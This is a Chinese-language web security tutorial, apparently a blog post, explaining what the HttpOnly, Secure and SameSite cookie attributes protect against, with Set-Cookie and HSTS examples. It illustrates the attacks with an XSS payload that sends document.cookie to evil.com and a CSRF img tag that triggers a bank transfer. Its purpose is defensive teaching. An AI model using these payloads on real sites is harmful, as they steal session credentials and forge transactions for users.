Cookie 安全三属性:HttpOnly、Secure、SameSite 分别防什么?

Cookie 是 Web 中最古老的状态管理机制,也是前端安全中最容易被忽视的薄弱环节。今天就让我们来一起来复习下 Cookie 的三个属性HttpOnlySecureSameSite 分别防什么?为什么缺了任意一个都可能导致安全漏洞?

一、Cookie 的"原生裸奔"状态

假设用户登录后,服务端返回这样一个 Cookie:

ini 复制代码
Set-Cookie: token=0576221f4cc44e9eb5dc2e029dc50718

这个 Cookie 没有任何安全属性。它有三个致命弱点:

  1. 任何 JavaScript 都能读取它document.cookie 可以轻松拿到 token
  2. 在 HTTP 明文连接中传输:中间人可以截获它。
  3. 任何跨站请求都会自动携带它:无论用户是在访问你的网站,还是访问了恶意网站。

这三种弱点分别对应三种攻击:XSS 窃取 Cookie中间人攻击CSRF 跨站请求伪造 。而 HttpOnlySecureSameSite 就是专门为这三个弱点设计的"防弹衣"。

攻击场景:XSS 注入

攻击者在留言板中注入脚本:

html 复制代码
<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">

当其他用户访问这个页面时,脚本自动执行,将当前域名下所有可被 JavaScript 读取的 Cookie 发送到攻击者的服务器。

防御机制

HttpOnly 标记告诉浏览器:这个 Cookie 只能用于 HTTP 请求,禁止 JavaScript 访问

ini 复制代码
Set-Cookie: token=0576221f4cc44e9eb5dc2e029dc50718; HttpOnly

一旦设置,document.cookie 将无法读取该 Cookie,即使 XSS 注入成功,攻击者也拿不到登录凭证。

局限性

HttpOnly 只能防止"读取",不能防止"使用"。攻击者仍然可以在受害者浏览器中直接发起请求(通过注入的脚本调用 fetch('/api/transfer', {method:'POST'})),浏览器会自动带上 HttpOnly Cookie。所以它需要与 SameSite、CSP 等机制配合。

前端能做什么?

  • 打开 DevTools → Application → Cookies,检查敏感 Cookie 的 HttpOnly 列是否打勾。
  • 与后端约定:所有认证 Token 必须设置 HttpOnly
  • 对于前端自行存储的 Token(如 localStorage),不涉及 HttpOnly,此时需要依赖其他 XSS 防御手段。

三、Secure:防中间人攻击

攻击场景:中间人截获

用户在咖啡厅连接了公共 Wi-Fi,攻击者在同一网络下抓包。如果用户访问的是 HTTP 站点,所有请求和响应(包括 Cookie)都是明文传输,攻击者可以直接读取。

vbnet 复制代码
GET /api/user HTTP/1.1
Host: example.com
Cookie: token=0576221f4cc44e9eb5dc2e029dc50718          ← 明文,攻击者一览无余

防御机制

Secure 标记告诉浏览器:这个 Cookie 只能在 HTTPS 加密连接中传输

ini 复制代码
Set-Cookie: token=0576221f4cc44e9eb5dc2e029dc50718; Secure

即使攻击者能截获网络包,Cookie 也是加密的。如果站点使用 HTTP,浏览器根本不会发送带有 Secure 标记的 Cookie。

生产环境建议

  • 全站 HTTPS:不只是登录接口,所有页面和资源都应使用 HTTPS。
  • HSTS(HTTP Strict Transport Security):通过响应头告诉浏览器"以后访问我时,只能用 HTTPS,别试 HTTP 了"。
ini 复制代码
Strict-Transport-Security: max-age=31536000; includeSubDomains
  • 本地开发 :生产环境配置了 Secure 的 Cookie 在 localhost 下可能无法发送。可以在开发环境暂时去掉 Secure,或使用 mkcert 生成本地 HTTPS 证书。

四、SameSite:防 CSRF 跨站请求伪造

攻击场景:CSRF

用户登录了 bank.com,Cookie 有效。随后用户访问了攻击者的网站 evil.com,这个页面里有一张"图片":

html 复制代码
<img src="https://bank.com/transfer?to=hacker&amount=10000">

浏览器在加载这张"图片"时,会自动带上 bank.com 的 Cookie,于是转账请求以受害者的身份被执行了。

防御机制

SameSite 标记告诉浏览器:这个 Cookie 在跨站请求时,该不该被携带?

它有三个值:

行为
Strict 完全禁止跨站携带。即使从 evil.com 点击一个链接跳转到 bank.com,Cookie 也不带。
Lax(推荐默认) 大部分跨站请求不携带。例外:顶级导航的 GET 请求(如点击链接跳转)会携带。
None 所有请求都携带。必须同时设置 Secure,否则浏览器拒绝。
ini 复制代码
Set-Cookie: token=0576221f4cc44e9eb5dc2e029dc50718; SameSite=Lax

设置为 Lax 后,上面的 CSRF 攻击会失效:<img> 标签发起的跨站 GET 请求不会携带 Cookie,转账请求无法通过认证。

为什么推荐 Lax 而不是 Strict

Strict 过于严格。如果用户从邮件中点击了一个链接跳转到你的网站,因为这是跨站跳转,Cookie 不会被携带,用户看起来像"未登录"状态,体验很差。Lax 在安全性和可用性之间取得了平衡。

什么时候用 None

如果你的站点需要被嵌入在跨域 iframe 中,或者需要支持第三方登录(OAuth 回调),可能需要设置 SameSite=None。但必须同时设置 Secure,否则浏览器会拒绝该 Cookie。

ini 复制代码
Set-Cookie: token=0576221f4cc44e9eb5dc2e029dc50718; SameSite=None; Secure

前端如何检查 SameSite 是否生效?

在 Chrome DevTools 的 Network 面板中,查看请求的 Request Headers,如果 Cookie 没有被发送,且 Response Headers 中有 Set-Cookie 但 Application 面板中没看到该 Cookie,很可能是 SameSite 配置问题。


五、组合使用:三道防线缺一不可

一个安全的 Cookie 配置应该同时包含这三个属性:

ini 复制代码
Set-Cookie: token=0576221f4cc44e9eb5dc2e029dc50718; HttpOnly; Secure; SameSite=Lax; Max-Age=86400
属性 防什么 缺了它会发生什么
HttpOnly XSS 窃取 Cookie 注入脚本可直接读取 document.cookie,登录凭证泄露
Secure 中间人攻击 明文传输的 Cookie 可被网络嗅探截获
SameSite CSRF 跨站请求伪造 恶意网站可发起携带你 Cookie 的跨站请求

三者互相补充,没有哪个是冗余的。即使有 HttpOnly,攻击者仍然可以在受害者浏览器中发起跨站请求;即使有 Secure,攻击者仍然可以利用 XSS 读取 Cookie;即使有 SameSite,攻击者仍然可以在同站环境中利用 XSS。

很多 SPA 项目把 JWT 存在 localStorage,然后通过 Authorization 请求头发送。这种方式的优点是简单,但有一个致命弱点:一旦 XSS 注入成功,攻击者可以直接读取 localStorage 中的 Token ,而 localStorage 没有任何保护机制。

存储方案对比:

存储方式 优点 缺点
localStorage 简单,不受 CSRF 威胁 无法防 XSS,一旦注入即可读取
HttpOnly Cookie JavaScript 无法读取,防 XSS 需要防范 CSRF(配合 SameSite)
HttpOnly + Secure + SameSite Cookie 三重防护 需要后端配合,调试稍复杂

推荐方案 :将 JWT 存储于 HttpOnly; Secure; SameSite=Lax 的 Cookie 中,前端无需手动处理 Token,浏览器自动携带。如果必须前端主动发 Token(如跨域请求),确保同时做好 XSS 防御。

七、总结

Cookie 的三个安全属性各司其职,缺一不可:

  • HttpOnly:告诉浏览器"这个 Cookie 只给服务器用,JS 别碰",防 XSS 窃取。
  • Secure:告诉浏览器"只在加密连接中传这个 Cookie",防中间人截获。
  • SameSite:告诉浏览器"跨站请求别带这个 Cookie",防 CSRF 伪造。

我们在写登录逻辑时,不能只关心"用户能登进去",也要关心"攻击者拿不走"。这三行属性,就是给每个用户颁发的"数字防弹衣"。

相关推荐
IT_陈寒1 小时前
SpringBoot自动配置没生效?你可能漏了这个注解
前端·人工智能·后端
monologues1 小时前
Vue3 底层原理深度解析:从编译到运行的源码之旅
前端
多年小白2 小时前
第八篇 模拟面试套卷
人工智能·ai·面试·职场和发展
zzz_23682 小时前
【Java实习面试算法冲刺】哈希!
java·算法·面试
前端炒粉2 小时前
马克思主义基本原理在Vue框架中的指导作用探析
前端·javascript·vue.js
happyprince2 小时前
12-vLLM 量化方案全面分析
前端·javascript·vllm
大圣编程2 小时前
python break语句
开发语言·前端·python
EntyIU2 小时前
Vue History 模式配置文档
前端·javascript·vue.js
随风一样自由2 小时前
【AI全栈+前端代理】前端代理配置中最常用的参数及说明
前端·前端代理